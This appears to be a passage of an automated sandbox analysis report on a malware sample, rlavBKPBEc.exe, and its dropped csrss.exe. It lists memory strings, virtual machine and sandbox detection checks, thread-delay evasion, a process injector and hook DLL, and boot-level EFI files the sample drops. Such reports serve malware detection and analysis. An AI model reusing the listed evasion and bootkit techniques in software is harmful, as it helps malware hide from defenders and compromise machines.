NSPANROOTS= PAGES/BYTE
Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: C:\USERS\user\APPDATA\LOCAL\TEMPC:\USERS\user\APPDATA\LOCAL\TEMP\CSRSSC:\USERS\user\APPDATA\LOCAL\TEMPC:\USERS\user\APPDATA\LOCAL\TEMP\WUPC:\USERS\user\APPDATA\ROAMING\LITTLEVIOLETC:\USERS\user\DESKTOP\RLAVBKPBEC.EXEC:\USERS\user\DESKTOP\RLAVBKPBEC.EXEC:\USERS\user\APPDATA\LOCAL\TEMP\CSRSSC:\USERS\user\APPDATA\LOCAL\TEMP\CSRSSC:\USERS\user\APPDATA\ROAMING\LITTLEVIOLETC:\USERS\user\APPDATA\ROAMING\LITTLEVIOLETC:\USERS\user\APPDATA\LOCAL\TEMP\WUPC:\USERS\user\APPDATA\LOCAL\TEMP\WUPC:\WINDOWSC:\USERS\user\APPDATA\LOCAL\TEMP\CSRSSC:\USERS\user\APPDATA\ROAMING\LITTLEVIOLETC:\USERS\user\APPDATA\LOCAL\TEMP\WUPCSRSS.EXEC:\WINDOWS\RSS\CSRSS.EXE\PROTECTION DIRC:\WINDOWS\RSS\CSRSS.EXE\PROTECTION DIRC:\USERS\user\DESKTOP\RLAVBKPBEC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEDLLHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESEARCHUI.EXESEARCHUI.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEWMIPRVSE.EXEWMIPRVSE.EXEVMSRVC.EXEVMUSRVC.EXEWMIPRVSE.EXEWMIPRVSE.EXEVMSRVC.EXEVMUSRVC.EXEWMIPRVSE.EXEWMIPRVSE.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXECONHOST.EXEVMSRVC.EXEVMUSRVC.EXEUSOCLIENT.EXEUSOCLIENT.EXEVMSRVC.EXEVMUSRVC.EXEUSOCLIENT.EXEUSOCLIENT.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEDLLHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVMSRVC.EXEVMUSRVC.EXERLAVBKPBEC.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXESGRMBROKER.EXEVMSRVC.EXEVMUSRVC.EXESVCHOST.EXEVMSRVC.EXEVMUSRVC.EXEVPC-S3VPCUHUB$
Source: csrss.exe	Binary or memory string: TOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PAR

Source: C:\Windows\System32\svchost.exe TID: 2964	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe TID: 5340	Thread sleep time: -50000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: B:\EFI\Boot\old.efi (copy)	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	Dropped PE file which has not been started: B:\EFI\Microsoft\Boot\fw.efi (copy)	Jump to dropped file

Source: C:\Windows\rss\csrss.exe

Registry key enumerated: More than 173 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File opened / queried: VBoxGuest	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File opened / queried: vmci	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File opened / queried: HGFS	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File opened / queried: VBoxTrayIPC	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File opened / queried: \pipe\VBoxTrayIPC	Jump to behavior
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	File opened / queried: VBoxMiniRdrDN	Jump to behavior

Source: C:\Users\user\Desktop\rlavBKPBEc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\rlavBKPBEc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: csrss.exe	Binary or memory string: derivedexpiresfallingfeatherfireflyfloat32float64gctraceglitterhttp://id is 0invalidkdu.exelookup max-agemorningnil keynop -> number panic: patientrefererrefreshrunningserial:server=signal silencesvc_versyscallthundertraileruintptrunknownupgradeversionvmmousev
Source: csrss.exe	Binary or memory string: ayGOAWAYGOROOTGetACPGothicHangulHatranHebrewHyphenKaithiKhojkiLepchaLockedLycianLydianMondayPADDEDPcaSvcPragmaProgidRejangSCHED STREETServerStringSundaySyriacTai_LeTangutTeluguThaanaTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11VBoxSFVT(%d)WINDIRWinMonWinmon
Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: vmusrvc.exe
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: too many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: csrss.exe	Binary or memory string: too many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero par
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: GPUnehalemYV8Y73GGCloseHandleS-1-5-18kvmqemuvirtualpersoconsystemProcess32FirstW[system process]vboxtray.exevboxservice.exeProcess32NextWSystemvboxtray.exevboxservice.exeRegistryregistry
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: qemuvirtual
Source: csrss.exe	Binary or memory string: ionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:asc
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: is unavailable()<>@,;:\"/[]?=0601021504Z0700476837158203125: cannot parse :ValidateLabels; SameSite=None<invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAddDllDirectoryBelowExactAboveCLSIDFromProgIDCLSIDFromStringCreateHardLinkWCreateWindowExWDefaultInstanceDelegateExecuteDeviceIoControlDuplicateHandleEfiGuardDxe.efiElectrumX 1.2.1Failed to find Failed to load FindNextVolumeWFindVolumeCloseFlushViewOfFileGateway TimeoutGetActiveObjectGetAdaptersInfoGetCommTimeoutsGetCommandLineWGetFirmwareTypeGetProcessTimesGetSecurityInfoGetStartupInfoWGlobal\qtxp9g8wHanifi_RohingyaIdempotency-KeyImpersonateSelfInstall failureIsWow64Process2Length RequiredLoadLibraryExALoadLibraryExWNonTransitionalNot ImplementedNtSuspendThreadOpenThreadTokenOther_LowercaseOther_UppercasePartial ContentProcess32FirstWPsalter_PahlaviQueryDosDeviceWRegCreateKeyExWRegDeleteValueWRequest TimeoutRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC]
Source: svchost.exe, 00000003.00000002.524018416.00000184D6429000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: C:\WindowsC:\Windows\system32\kernel32.dllC:\Users\user\Desktop\rlavBKPBEc.exeC:\Users\user\DesktopHKEY_USERS\lfons\Desktop\rlavBKPBEc.exe" "C:\Users\user\Desktop\rlavBKPBEc.exe" S-1-5-21-3853321935-2125563209-4053062332-1002LittleVioletFirstInstallDate\\.\VBoxMiniRdrDN\\.\pipe\VBoxMiniRdDN\\.\pipe\VBoxTrayIPCcsrss.exewininit.execsrss.exeservices.exewinlogon.exelsass.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesihost.exesvchost.exesvchost.exesvchost.exeWmiPrvSE.exeWmiPrvSE.exeWmiPrvSE.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.execsrss.exewininit.execsrss.exeservices.exewinlogon.exelsass.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exespoolsv.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesihost.exesvchost.exesvchost.exesvchost.exectfmon.exeexplorer.exesvchost.exedllhost.exeSearchUI.exesvchost.exesvchost.exeWmiPrvSE.exeWmiPrvSE.exeWmiPrvSE.exesvchost.exesvchost.exesvchost.execsrss.exewininit.execsrss.exeservices.exewinlogon.exelsass.exesvchost.exeAPPDATA=C:\Windows\system32\config\systemprofile\AppData\RoamingLOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\LocalPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelC:\Windows\system32
Source: csrss.exe	Binary or memory string: rinvalid locationloopbackmac_addrmountainmountvolmsvmmoufnamelessno anodeno-cacheno_proxyopPseudopolishedraw-readreadfromrecvfromrestlessrunnableruntime.scavengeshutdownsolitarystrconv.taskkilltwilightunixgramunknown(usernamevmmemctlvmx_svgawitheredwsaioctlwua
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: System[system process]sharedintapp.exesystemregistrysharedintapp.exeRegistrysharedintapp.exesmss.exesharedintapp.execsrss.exesharedintapp.exewininit.exesharedintapp.execsrss.exesharedintapp.exeservices.exesharedintapp.exewinlogon.exesharedintapp.exelsass.exesharedintapp.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exedwm.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exespoolsv.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesihost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exectfmon.exesharedintapp.exeexplorer.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exedllhost.exesharedintapp.exesharedintapp.exeSearchUI.exesearchui.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exeWmiPrvSE.exewmiprvse.exesharedintapp.exeWmiPrvSE.exewmiprvse.exesharedintapp.exeWmiPrvSE.exewmiprvse.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesvchost.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exesharedintapp.exe[system process]vmsrvc.exevmusrvc.exeSystemsystemvmsrvc.exevmusrvc.exeRegistryregistry
Source: csrss.exe	Binary or memory string: T_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieUser-AgentVMSrvc.exeVT_ILLEGALWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:
Source: rlavBKPBEc.exe, 00000006.00000002.320256503.00000000160B4000.00000004.00000001.sdmp	Binary or memory string: svchost.exesvchost.exesvchost.exesvchost.exesvchost.exespoolsv.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exesvchost.exectfmon.exeexplorer.exesvchost.exedllhost.exeSearchUI.exesearchui.exesvchost.execonhost.exeUsoClient.exeusoclient.exeUsoClient.exeusoclient.exesvchost.exesvchost.exedllhost.exesvchost.exesgrmbroker.exesvchost.exevmci$
Source: csrss.exe	Binary or memory string: minal_PunctuationTurkey Standard TimeUnprocessable EntityWinmonProcessMonitor[invalid char class]\\.\pipe\VBoxTrayIPCasn1: syntax error: bad defer size classbad font file formatbad system page sizebad use of bucket.bpbad use of bucket.mpchan send (nil chan)clo
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: Value is nullVirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: csrss.exe	Binary or memory string: licesmallsmokesnowysockssoundsse41sse42ssse3stilltext/tls13tls: totaluint8usageuser=utf-8valuevmusbvmx86voicewaterwhitewispywriteyoung (MB) Value addr= base code= ctxt: curg= goid jobs= list= m->p= next= p->m= prev= span=%s: %s(...) , not , val -BEFV--DYOR-
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad RST markerbad allocCountbad record MACbad span statebad stack sizebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removedexit status -1file too largefinalizer waitgcstoptheworldgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedlookup TXT: %wmemprofilerateneed more datanil elem type!no module datano such deviceparse cert: %wprotocol errorread certs: %wreport_id is 0runtime: base=runtime: full=s.allocCount= semaRoot queueserver.versionstack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytimeEndPeriodtoo many linkstoo many usersunexpected EOFunknown code: unknown error unknown markerunknown methodunknown mode: unreachable: unsafe.Pointervirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #work.full != 0x509ignoreCN=1xenservice.exezero parameter with GC prog
Source: csrss.exe, 0000001A.00000002.413171135.0000000005200000.00000040.00000001.sdmp	Binary or memory string: 11VBoxSFVT(%d)WINDIRWib
Source: rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp	Binary or memory string: vmsrvc.exevmusrvc.exesmss.exevmsrvc.exevmusrvc.execsrss.exevmsrvc.exevmusrvc.exewininit.exevmsrvc.exevmusrvc.execsrss.exevmsrvc.exevmusrvc.exeservices.exevmsrvc.exevmusrvc.exewinlogon.exevmsrvc.exevmusrvc.exelsass.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exedwm.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exespoolsv.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesihost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exectfmon.exevmsrvc.exevmusrvc.exeexplorer.exevmsrvc.exePath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: H_T= H_a= H_g= MB, W_a= and h_a= h_g= h_t= max= ptr siz= tab= top= u_a= u_g=%s %q%s%d%s/%s%s:%d%s=%s%v-%v"'&+0330+0430+0530+0545+0630+0845+1030+1245+1345, ..., fp:-0930.html.jpeg.wasm.webp156253.2.2500015000250003500045000550006560015600278125:**@:path<nil>AdlamAprilAttr(BamumBatakBuhidCall CountDograECDSAErrorFlagsFoundGetDCGreekHTTP/KhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384P-521PGDSERangeRealmRunicSTermTakriTamilTypeAUUID=\u202allowarraybad nblackbrookchdirclosecloudcsrssdreamemptyfalsefaultfieldfloatfrostgcinggladegrassgreenhttpsimap2imap3imapsint16int32int64matchmistymkdirmonthmuddynightntohspanicpaperparsepgdsepop3sproudquietrangeriverrmdirroughrouterune sdsetshapesleepslicesmallsmokesnowysockssoundsse41sse42ssse3stilltext/tls13tls: totaluint8usageuser=utf-8valuevmusbvmx86voicewaterwhitewispywriteyoung (MB)
Source: csrss.exe	Binary or memory string: verenamerun-v3rune1 sc.binscvg: secondsecureselectsendtoservershadowsilentsocketsocks socks5springstatusstringstructsummersunsetsweep telnetuint16uint32uint64unusedvioletvmhgfsvmxnetvpc-s3winterwup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value>
Source: csrss.exe	Binary or memory string: nInUseno resultsnot a boolnot signedowner diedprl_cc.exeres binderres masterresumptionrune <nil>runtime: gschedtracesemacquireset-cookiesetsockoptsocks bindterminatedtracefree(tracegc() unixpacketunknown pcuser-agentuser32.dllvmusbmousevmware: %wwildflowerws2_
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: acceptactiveautumnbitterbreezebrokenchan<-cherryclosedcookiedivinedomaindwarf.efenceempty exec: expectfloralflowerforestfrostygopherhangupheaderhiddenip+netkilledlistenlittlelivelymeadowminutenumberobjectpopcntpurplereadatreasonremoverenamerun-v3rune1 sc.binscvg: secondsecureselectsendtoservershadowsilentsocketsocks socks5springstatusstringstructsummersunsetsweep telnetuint16uint32uint64unusedvioletvmhgfsvmxnetvpc-s3winterwup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> dying= flags= len=%d locks= m->g0= nmsys= s=nil
Source: csrss.exe	Binary or memory string: rayUnlockSetCommTimeoutsSetSecurityInfoSetVolumeLabelWShellExecuteExWStringFromCLSIDStringFromGUID2TerminateThreadUninstallStringUnmapViewOfFileVBoxService.exeVPS.hsmiths.comWinsta0\DefaultX-Forwarded-For\\.\VBoxTrayIPC] morebuf={pc:accept-encodingaccept-lang
Source: rlavBKPBEc.exe, 00000006.00000002.326767088.00000000160DA000.00000004.00000001.sdmp	Binary or memory string: C:\Users\user\AppData\Local\TempC:\Users\user\AppData\Local\Temp\csrssC:\Users\user\AppData\Local\TempC:\Users\user\AppData\Local\Temp\wupC:\Users\user\AppData\Roaming\LittleVioletC:\Users\user\Desktop\rlavBKPBEc.exec:\users\user\desktop\rlavbkpbec.exeC:\Users\user\AppData\Local\Temp\csrssC:\Users\user\AppData\Local\Temp\csrssC:\Users\user\AppData\Roaming\LittleVioletC:\Users\user\AppData\Roaming\LittleVioletC:\Users\user\AppData\Local\Temp\wupC:\Users\user\AppData\Local\Temp\wupC:\WindowsC:\Users\user\AppData\Local\Temp\csrssC:\Users\user\AppData\Roaming\LittleVioletC:\Users\user\AppData\Local\Temp\wupcsrss.exeC:\Windows\rss\csrss.exe\Protection DirC:\Windows\rss\csrss.exe\Protection DirC:\Users\user\Desktop\rlavBKPBEc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exedllhost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exeSearchUI.exesearchui.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exeWmiPrvSE.exewmiprvse.exevmsrvc.exevmusrvc.exeWmiPrvSE.exewmiprvse.exevmsrvc.exevmusrvc.exeWmiPrvSE.exewmiprvse.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.execonhost.exevmsrvc.exevmusrvc.exeUsoClient.exeusoclient.exevmsrvc.exevmusrvc.exeUsoClient.exeusoclient.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exedllhost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevmsrvc.exevmusrvc.exerlavbkpbec.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exesgrmbroker.exevmsrvc.exevmusrvc.exesvchost.exevmsrvc.exevmusrvc.exevpc-s3vpcuhub$
Source: csrss.exe	Binary or memory string: main.isRunningInsideVMWare
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	Binary or memory string: entersyscallexit status found av: %sgcpacertracegetaddrinfowgot TI tokenguid_machinehost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wpointtopointproxyconnectreflect.Copyreleasep: m=remote errorruntime: f= runtime: gp=s ap traffics hs trafficshort buffersignature.%stransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=wtsapi32.dll != sweepgen (default %q) (default %v) MB released
